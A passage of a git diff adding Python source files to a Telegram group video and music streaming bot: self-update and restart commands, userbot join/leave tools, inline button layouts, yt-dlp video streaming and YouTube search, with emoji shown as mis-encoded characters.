message.reply("๐Ÿ”„ `processing update...`") + update_avail = updater() + if update_avail: + await msg.edit("โœ… update finished\n\nโ€ข bot restarted, back active again in 1 minutes.") + system("git pull -f && pip3 install --no-cache-dir -r requirements.txt") + execle(sys.executable, sys.executable, "main.py", environ) + return + await msg.edit(f"bot is **up-to-date** with [main]({UPSTREAM_REPO}/tree/main)", disable_web_page_preview=True) + + +@Client.on_message(command(["restart", f"restart@{BOT_USERNAME}"]) & ~filters.edited) +@sudo_users_only +async def restart_bot(_, message: Message): + msg = await message.reply("`restarting bot...`") + args = [sys.executable, "main.py"] + await msg.edit("โœ… bot restarted\n\nโ€ข now you can use this bot again.") + execle(sys.executable, *args, environ) + return diff --git a/program/userbot_tools.py b/program/userbot_tools.py new file mode 100644 index 0000000..499185d --- /dev/null +++ b/program/userbot_tools.py @@ -0,0 +1,86 @@ +import asyncio +from driver.veez import user +from pyrogram.types import Message +from pyrogram import Client, filters +from config import BOT_USERNAME, SUDO_USERS +from driver.filters import command, other_filters +from pyrogram.errors import UserAlreadyParticipant, UserNotParticipant +from driver.decorators import authorized_users_only, sudo_users_only + + +@Client.on_message( + command(["userbotjoin", f"userbotjoin@{BOT_USERNAME}"]) & other_filters +) +@authorized_users_only +async def join_chat(c: Client, m: Message): + chat_id = m.chat.id + try: + invitelink = await c.export_chat_invite_link(chat_id) + if invitelink.startswith("https://t.me/+"): + invitelink = invitelink.replace( + "https://t.me/+", "https://t.me/joinchat/" + ) + await user.join_chat(invitelink) + return await user.send_message(chat_id, "โœ… userbot joined chat") + except UserAlreadyParticipant: + return await user.send_message(chat_id, "โœ… userbot already in chat") + + +@Client.on_message( + command(["userbotleave", f"userbotleave@{BOT_USERNAME}"]) & other_filters +) +@authorized_users_only +async def leave_chat(_, m: Message): + chat_id = m.chat.id + try: + await user.leave_chat(chat_id) + return await _.send_message( + chat_id, + "โœ… userbot leaved chat", + ) + except UserNotParticipant: + return await _.send_message( + chat_id, + "โŒ userbot already leave chat", + ) + + +@Client.on_message(command(["leaveall", f"leaveall@{BOT_USERNAME}"])) +@sudo_users_only +async def leave_all(client, message): + if message.from_user.id not in SUDO_USERS: + return + + left = 0 + failed = 0 + + msg = await message.reply("๐Ÿ”„ Userbot leaving all Group !") + async for dialog in user.iter_dialogs(): + try: + await user.leave_chat(dialog.chat.id) + left += 1 + await msg.edit( + f"Userbot leaving all Group...\n\nLeft: {left} chats.\nFailed: {failed} chats." + ) + except BaseException: + failed += 1 + await msg.edit( + f"Userbot leaving...\n\nLeft: {left} chats.\nFailed: {failed} chats." + ) + await asyncio.sleep(0.7) + await msg.delete() + await client.send_message( + message.chat.id, f"โœ… Left from: {left} chats.\nโŒ Failed in: {failed} chats." + ) + + +@Client.on_message(filters.left_chat_member) +async def ubot_leave(c: Client, m: Message): +# ass_id = (await user.get_me()).id + bot_id = (await c.get_me()).id + chat_id = m.chat.id + left_member = m.left_chat_member + if left_member.id == bot_id: + await user.leave_chat(chat_id) +# elif left_member.id == ass_id: +# await c.leave_chat(chat_id) diff --git a/program/utils/formatters.py b/program/utils/formatters.py new file mode 100644 index 0000000..d97f7c3 --- /dev/null +++ b/program/utils/formatters.py @@ -0,0 +1,10 @@ +def bytes(size: float) -> str: + if not size: + return "" + power = 1024 + t_n = 0 + power_dict = {0: " ", 1: "Ki", 2: "Mi", 3: "Gi", 4: "Ti"} + while size > power: + size /= power + t_n += 1 + return "{:.2f} {}B".format(size, power_dict[t_n]) diff --git a/program/utils/inline.py b/program/utils/inline.py new file mode 100644 index 0000000..bdb21d5 --- /dev/null +++ b/program/utils/inline.py @@ -0,0 +1,58 @@ +""" inline section button """ + +from pyrogram.types import ( + CallbackQuery, + InlineKeyboardButton, + InlineKeyboardMarkup, + Message, +) + + +def stream_markup(user_id): + buttons = [ + [ + InlineKeyboardButton(text="โ€ข Mแด‡ษดแดœ", callback_data=f'cbmenu | {user_id}'), + InlineKeyboardButton(text="โ€ข CสŸแดsแด‡", callback_data=f'cls'), + ], + ] + return buttons + + +def menu_markup(user_id): + buttons = [ + [ + InlineKeyboardButton(text="โน", callback_data=f'cbstop | {user_id}'), + InlineKeyboardButton(text="โธ", callback_data=f'cbpause | {user_id}'), + InlineKeyboardButton(text="โ–ถ๏ธ", callback_data=f'cbresume | {user_id}'), + ], + [ + InlineKeyboardButton(text="๐Ÿ”‡", callback_data=f'cbmute | {user_id}'), + InlineKeyboardButton(text="๐Ÿ”Š", callback_data=f'cbunmute | {user_id}'), + ], + [ + InlineKeyboardButton(text="๐Ÿ—‘ Close", callback_data='cls'), + ] + ] + return buttons + + +close_mark = InlineKeyboardMarkup( + [ + [ + InlineKeyboardButton( + "๐Ÿ—‘ Close", callback_data="cls" + ) + ] + ] +) + + +back_mark = InlineKeyboardMarkup( + [ + [ + InlineKeyboardButton( + "๐Ÿ”™ Go Back", callback_data="cbmenu" + ) + ] + ] +) diff --git a/program/video.py b/program/video.py new file mode 100644 index 0000000..1f90dd7 --- /dev/null +++ b/program/video.py @@ -0,0 +1,450 @@ +# Copyright (C) 2021 By Veez Music-Project +# Commit Start Date 20/10/2021 +# Finished On 28/10/2021 + +import asyncio +import re + +from config import BOT_USERNAME, IMG_1, IMG_2 +from driver.design.chatname import CHAT_TITLE +from driver.design.thumbnail import thumb +from driver.filters import command, other_filters +from driver.queues import QUEUE, add_to_queue +from driver.veez import call_py, user +from program.utils.inline import stream_markup +from pyrogram import Client +from pyrogram.errors import UserAlreadyParticipant, UserNotParticipant +from pyrogram.types import InlineKeyboardMarkup, Message +from pytgcalls import StreamType +from pytgcalls.types.input_stream import AudioVideoPiped +from pytgcalls.types.input_stream.quality import ( + HighQualityAudio, + HighQualityVideo, + LowQualityVideo, + MediumQualityVideo, +) +from youtubesearchpython import VideosSearch + + +def ytsearch(query: str): + try: + search = VideosSearch(query, limit=1).result() + data = search["result"][0] + songname = data["title"] + url = data["link"] + duration = data["duration"] + thumbnail = f"https://i.ytimg.com/vi/{data['id']}/hqdefault.jpg" + return [songname, url, duration, thumbnail] + except Exception as e: + print(e) + return 0 + + +async def ytdl(link): + proc = await asyncio.create_subprocess_exec( + "yt-dlp", + "-g", + "-f", + "best[height<=?720][width<=?1280]", + f"{link}", + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + ) + stdout, stderr = await proc.communicate() + if stdout: + return 1, stdout.decode().split("\n")[0] + else: + return 0, stderr.decode() + + +@Client.on_message(command(["vplay", f"vplay@{BOT_USERNAME}"]) & other_filters) +async def vplay(c: Client, m: Message): + await m.delete() + replied = m.reply_to_message + chat_id = m.chat.id + user_id = m.from_user.id + if m.sender_chat: + return await m.reply_text( + "you're an __Anonymous__ Admin !\n\nยป revert back to user account from admin rights." + ) + try: + aing = await c.get_me() + except Exception as e: + return await m.reply_text(f"error:\n\n{e}") + a = await c.get_chat_member(chat_id, aing.id) + if a.status != "administrator": + await m.reply_text( + f"๐Ÿ’ก To use me, I need to be an **Administrator** with the following **permissions**:\n\nยป โŒ __Delete messages__\nยป โŒ __Invite users__\nยป โŒ __Manage video chat__\n\nOnce done, type /reload" + ) + return + if not a.can_manage_voice_chats: + await m.reply_text( + "๐Ÿ’ก To use me, Give me the following permission below:" + + "\n\nยป โŒ __Manage video chat__\n\nOnce done, try again." + ) + return + if not a.can_delete_messages: + await m.reply_text( + "๐Ÿ’ก To use me, Give me the following permission below:" + + "\n\nยป โŒ __Delete messages__\n\nOnce done, try again." + ) + return + if not a.can_invite_users: + await m.reply_text( + "๐Ÿ’ก To use me, Give me the following permission below:" + + "\n\nยป โŒ __Add users__\n\nOnce done, try again." + ) + return + try: + ubot = (await user.get_me()).id + b = await c.get_chat_member(chat_id, ubot) + if b.status == "kicked": + await c.unban_chat_member(chat_id, ubot) + invitelink = await c.export_chat_invite_link(chat_id) + if invitelink.startswith("https://t.me/+"): + invitelink = invitelink.replace( + "https://t.me/+", "https://t.me/joinchat/" + ) + await user.join_chat(invitelink) + except UserNotParticipant: + try: + invitelink = await c.export_chat_invite_link(chat_id) + if invitelink.startswith("https://t.me/+"): + invitelink = invitelink.replace( + "https://t.me/+", "https://t.me/joinchat/" + ) + await user.join_chat(invitelink) + except UserAlreadyParticipant: + pass + except Exception as e: + return await m.reply_text( + f"โŒ **userbot failed to join**\n\n**reason**: `{e}`" + ) + + if replied: + if replied.video or replied.document: + loser = await replied.reply("๐Ÿ“ฅ **downloading video...**") + dl = await replied.download() + link = replied.link + if len(m.command) < 2: + Q = 720 + else: + pq = m.text.split(None, 1)[1] + if pq == "720" or "480" or "360": + Q = int(pq) + else: + Q = 720 + await loser.edit( + "ยป __only 720, 480, 360 allowed__ \n๐Ÿ’ก **now streaming video in 720p**" + ) + try: + if replied.video: + songname = replied.video.file_name[:70] + elif replied.document: + songname = replied.document.file_name[:70] + except BaseException: + songname = "Video" + + if chat_id in QUEUE: + pos = add_to_queue(chat_id, songname, dl, link, "Video", Q) + await loser.delete() + requester = f"[{m.from_user.first_name}](tg://user?id={m.from_user.id})" + buttons = stream_markup(user_id) + await m.reply_photo( + photo=f"{IMG_1}", + reply_markup=InlineKeyboardMarkup(buttons), + caption=f"๐Ÿ’ก **Track added to queue ยป** `{pos}`\n\n๐Ÿ—‚ **Name:** [{songname}]({link}) | `video`\n๐Ÿ’ญ **Chat:** `{chat_id}`\n๐Ÿงธ **Request by:** {requester}", + ) + else: + if Q == 720: + amaze = HighQualityVideo() + elif Q == 480: + amaze = MediumQualityVideo() + elif Q == 360: + amaze = LowQualityVideo() + await loser.edit("๐Ÿ”„ **Joining vc...**") + await call_py.join_group_call( + chat_id, + AudioVideoPiped( + dl, + HighQualityAudio(), + amaze, + ), + stream_type=StreamType().local_stream, + ) + add_to_queue(chat_id, songname, dl, link, "Video", Q) + await loser.delete() + requester = f"[{m.from_user.first_name}](tg://user?id={m.from_user.id})" + buttons = stream_markup(user_id) + await m.reply_photo( + photo=f"{IMG_2}", + reply_markup=InlineKeyboardMarkup(buttons), + caption=f"๐Ÿ—‚ **Name:** [{songname}]({link}) | `video`\n๐Ÿ’ญ **Chat:** `{chat_id}`\n๐Ÿงธ **Request by:** {requester}", + ) + else: + if len(m.command) < 2: + await m.reply( + "ยป reply to an **video file** or **give something to search.**" + ) + else: + loser = await c.send_message(chat_id, "๐Ÿ” **Searching...**") + query = m.text.split(None, 1)[1] + search = ytsearch(query) + Q = 720 + amaze = HighQualityVideo() + if search == 0: + await loser.edit("โŒ **no results found.**") + else: + songname = search[0] + title = search[0] + url = search[1] + duration = search[2] + thumbnail = search[3] + userid = m.from_user.id + gcname = m.chat.title + ctitle = await CHAT_TITLE(gcname) + image = await thumb(thumbnail, title, userid, ctitle) + veez, ytlink = await ytdl(url) + if veez == 0: + await loser.edit(f"โŒ yt-dl issues detected\n\nยป `{ytlink}`") + else: + if chat_id in QUEUE: + pos = add_to_queue( + chat_id, songname, ytlink, url, "Video", Q + ) + await loser.delete() + requester = f"[{m.from_user.first_name}](tg://user?id={m.from_user.id})" + buttons = stream_markup(user_id) + await m.reply_photo( + photo=image, + reply_markup=InlineKeyboardMarkup(buttons), + caption=f"๐Ÿ’ก **Track added to queue ยป** `{pos}`\n\n๐Ÿ—‚ **Name:** [{songname}]({url}) | `video`\nโฑ **Duration:** `{duration}`\n๐Ÿงธ **Request by:** {requester}", + ) + else: + try: + await loser.edit("๐Ÿ”„ **Joining vc...**") + await call_py.join_group_call( + chat_id, + AudioVideoPiped( + ytlink, + HighQualityAudio(), + amaze, + ), + stream_type=StreamType().local_stream, + ) + add_to_queue(chat_id, songname, ytlink, url, "Video", Q) + await loser.delete() + requester = f"[{m.from_user.first_name}](tg://user?id={m.from_user.id})" + buttons = stream_markup(user_id) + await m.reply_photo( + photo=image, + reply_markup=InlineKeyboardMarkup(buttons), + caption=f"๐Ÿ—‚ **Name:** [{songname}]({url}) | `video`\nโฑ **Duration:** `{duration}`\n๐Ÿงธ **Request by:** {requester}", + ) + except Exception as ep: + await loser.delete() + await m.reply_text(f"๐Ÿšซ error: `{ep}`") + + else: + if len(m.command) < 2: + await m.reply( + "ยป reply to an **video file** or **give something to search.**" + ) + else: + loser = await c.send_message(chat_id, "๐Ÿ” **Searching...**") + query = m.text.split(None, 1)[1] + search = ytsearch(query) + Q = 720 + amaze = HighQualityVideo() + if search == 0: + await loser.edit("โŒ **no results found.**") + else: + songname = search[0] + title = search[0] + url = search[1] + duration = search[2] + thumbnail = search[3] + userid = m.from_user.id + gcname = m.chat.title + ctitle = await CHAT_TITLE(gcname) + image = await thumb(thumbnail, title, userid, ctitle) + veez, ytlink = await ytdl(url) + if veez == 0: + await loser.edit(f"โŒ yt-dl issues detected\n\nยป `{ytlink}`") + else: + if chat_id in QUEUE: + pos = add_to_queue(chat_id, songname, ytlink, url, "Video", Q) + await loser.delete() + requester = ( + f"[{m.from_user.first_name}](tg://user?id={m.from_user.id})" + ) + buttons = stream_markup(user_id) + await m.reply_photo( + photo=image, + reply_markup=InlineKeyboardMarkup(buttons), + caption=f"๐Ÿ’ก **Track added to queue ยป** `{pos}`\n\n๐Ÿ—‚ **Name:** [{songname}]({url}) | `video`\nโฑ **Duration:** `{duration}`\n๐Ÿงธ **Request by:** {requester}", + ) + else: + try: + await loser.edit("๐Ÿ”„ **Joining vc...**") + await call_py.join_group_call( + chat_id, + AudioVideoPiped( + ytlink, + HighQualityAudio(), + amaze, + ), + stream_type=StreamType().local_stream, + ) + add_to_queue(chat_id, songname, ytlink, url, "Video", Q) + await loser.delete() + requester = f"[{m.from_user.first_name}](tg://user?id={m.from_user.id})" + buttons = stream_markup(user_id) + await m.reply_photo( + photo=image, + reply_markup=InlineKeyboardMarkup(buttons), + caption=f"๐Ÿ—‚ **Name:** [{songname}]({url}) |`video`\nโฑ **Duration:** `{duration}`\n๐Ÿงธ **Request by:** {requester}", + ) + except Exception as ep: + await loser.delete() + await m.reply_text(f"๐Ÿšซ error: `{ep}`") + + +@Client.on_message(command(["vstream", f"vstream@{BOT_USERNAME}"]) & other_filters) +async def vstream(c: Client, m: Message): + await m.delete() + chat_id = m.chat.id + user_id = m.from_user.id + if m.sender_chat: + return await m.reply_text( + "you're an __Anonymous__ Admin !\n\nยป revert back to user account from admin rights." + ) + try: + aing = await c.get_me() + except Exception as e: + return await m.reply_text(f"error:\n\n{e}") + a = await c.get_chat_member(chat_id, aing.id) + if a.status != "administrator": + await m.reply_text( + f"๐Ÿ’ก To use me, I need to be an **Administrator** with the following **permissions**:\n\nยป โŒ __Delete messages__\nยป โŒ __Invite users__\nยป โŒ __Manage video chat__\n\nOnce done, type /reload" + ) + return + if not a.can_manage_voice_chats: + await m.reply_text( + "๐Ÿ’ก To use me, Give me the following permission below:" + + "\n\nยป โŒ __Manage video chat__\n\nOnce done, try again." + ) + return + if not a.can_delete_messages: + await m.reply_text( + "๐Ÿ’ก To use me, Give me the following permission below:" + + "\n\nยป โŒ __Delete messages__\n\nOnce done, try again." + ) + return + if not a.can_invite_users: + await m.reply_text( + "๐Ÿ’ก To use me, Give me the following permission below:" + + "\n\nยป โŒ __Add users__\n\nOnce done, try again." + ) + return + try: + ubot = (await user.get_me()).id + b = await c.get_chat_member(chat_id, ubot) + if b.status == "kicked": + await c.unban_chat_member(chat_id, ubot) + invitelink = await c.export_chat_invite_link(chat_id) + if invitelink.startswith("https://t.me/+"): + invitelink = invitelink.replace( + "https://t.me/+", "https://t.me/joinchat/" + ) + await user.join_chat(invitelink) + except UserNotParticipant: + try: + invitelink = await c.export_chat_invite_link(chat_id) + if invitelink.startswith("https://t.me/+"): + invitelink = invitelink.replace( + "https://t.me/+", "https://t.me/joinchat/" + ) + await user.join_chat(invitelink) + except UserAlreadyParticipant: + pass + except Exception as e: + return await m.reply_text( + f"โŒ **userbot failed to join**\n\n**reason**: `{e}`" + ) + + if len(m.command) < 2: + await m.reply("ยป give me a live-link/m3u8 url/youtube link to stream.") + else: + if len(m.command) == 2: + link = m.text.split(None, 1)[1] + Q = 720 + loser = await c.send_message(chat_id, "๐Ÿ”„ **processing stream...**") + elif len(m.command) == 3: + op = m.text.split(None, 1)[1] + link = op.split(None, 1)[0] + quality = op.split(None, 1)[1] + if quality == "720" or "480" or "360": + Q = int(quality) + else: + Q = 720 + await m.reply( + "ยป __only 720, 480, 360 allowed__ \n๐Ÿ’ก **now streaming video in 720p**" + ) + loser = await c.send_message(chat_id, "๐Ÿ”„ **processing stream...**") + else: + await m.reply("**/vstream {link} {720/480/360}**") + + regex = r"^(https?\:\/\/)?(www\.youtube\.com|youtu\.?be)\/.+" + match = re.match(regex, link) + if match: + veez, livelink = await ytdl(link) + else: + livelink = link + veez = 1 + + if veez == 0: + await loser.edit(f"โŒ yt-dl issues detected\n\nยป `{livelink}`") + else: + if chat_id in QUEUE: + pos = add_to_queue(chat_id, "Live Stream", livelink, link, "Video", Q) + await loser.delete() + requester = f"[{m.from_user.first_name}](tg://user?id={m.from_user.id})" + buttons = stream_markup(user_id) + await m.reply_photo( + photo=f"{IMG_1}", + reply_markup=InlineKeyboardMarkup(buttons), + caption=f"๐Ÿ’ก **Track added to queue ยป** `{pos}`\n\n๐Ÿ’ญ **Chat:** `{chat_id}`\n๐Ÿงธ **Request by:** {requester}", + ) + else: + if Q == 720: + amaze = HighQualityVideo() + elif Q == 480: + amaze = MediumQualityVideo() + elif Q == 360: + amaze = LowQualityVideo() + try: + await loser.edit("๐Ÿ”„ **Joining vc...**") + await call_py.join_group_call( + chat_id, + AudioVideoPiped( + livelink, + HighQualityAudio(), + amaze, + ), + stream_type=StreamType().live_stream, + ) + add_to_queue(chat_id, "Live Stream", livelink, link, "Video", Q) + await loser.delete() + requester = ( + f"[{m.from_user.first_name}](tg://user?id={m.from_user.id})" + ) + buttons = stream_markup(user_id) + await m.reply_photo( + photo=f"{IMG_2}", + reply_markup=InlineKeyboardMarkup(buttons), + caption=f"๐Ÿ’ก **[Video Live]({link}) stream started.**\n\n๐Ÿ’ญ **Chat:** `{chat_id}`\n๐Ÿงธ **Request by:** {requester}", + ) + except Exception as ep: + await loser.delete() + await m.reply_text(f"๐Ÿšซ error: `{ep}`") diff --git a/program/ytsearch.py b/program/ytsearch.py new file mode 100644 index 0000000..f0d9b53 --- /dev/null +++ b/program/ytsearch.py @@ -0,0 +1,33 @@ +from config import BOT_USERNAME +from driver.filters import command +from pyrogram import Client +from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message +from youtube_search import YoutubeSearch + + +@Client.on_message(command(["search", f"search@{BOT_USERNAME}"])) +async def ytsearch(_, message: Message): + if len(message.command) < 2: + return await message.reply_text("/search **needs an argument !**") + query = message.text.split(None, 1)[1] + m = await message.reply_text("๐Ÿ”Ž **Searching...**") + results = YoutubeSearch(query, max_results=5).to_dict() + if len(results) == 0: + return await m.edit_text("โŒ **no results found.**") + text = "" + for i in range(5): + try: + text += f"๐Ÿท **Name:** __{results[i]['title']}__\n" + text += f"โฑ **Duration:** `{results[i]['duration']}`\n" + text += f"๐Ÿ‘€ **Views:** `{results[i]['views']}`\n" + text += f"๐Ÿ“ฃ **Channel:** {results[i]['channel']}\n" + text += f"๐Ÿ”—: https://www.youtube.com{results[i]['url_suffix']}\n\n" + except IndexError: + break + await m.edit_text( + text, + disable_web_page_preview=True, + reply_markup=InlineKeyboardMarkup( + [[InlineKeyboardButton("๐Ÿ—‘ Close", callback_data="cls")]] + ), + )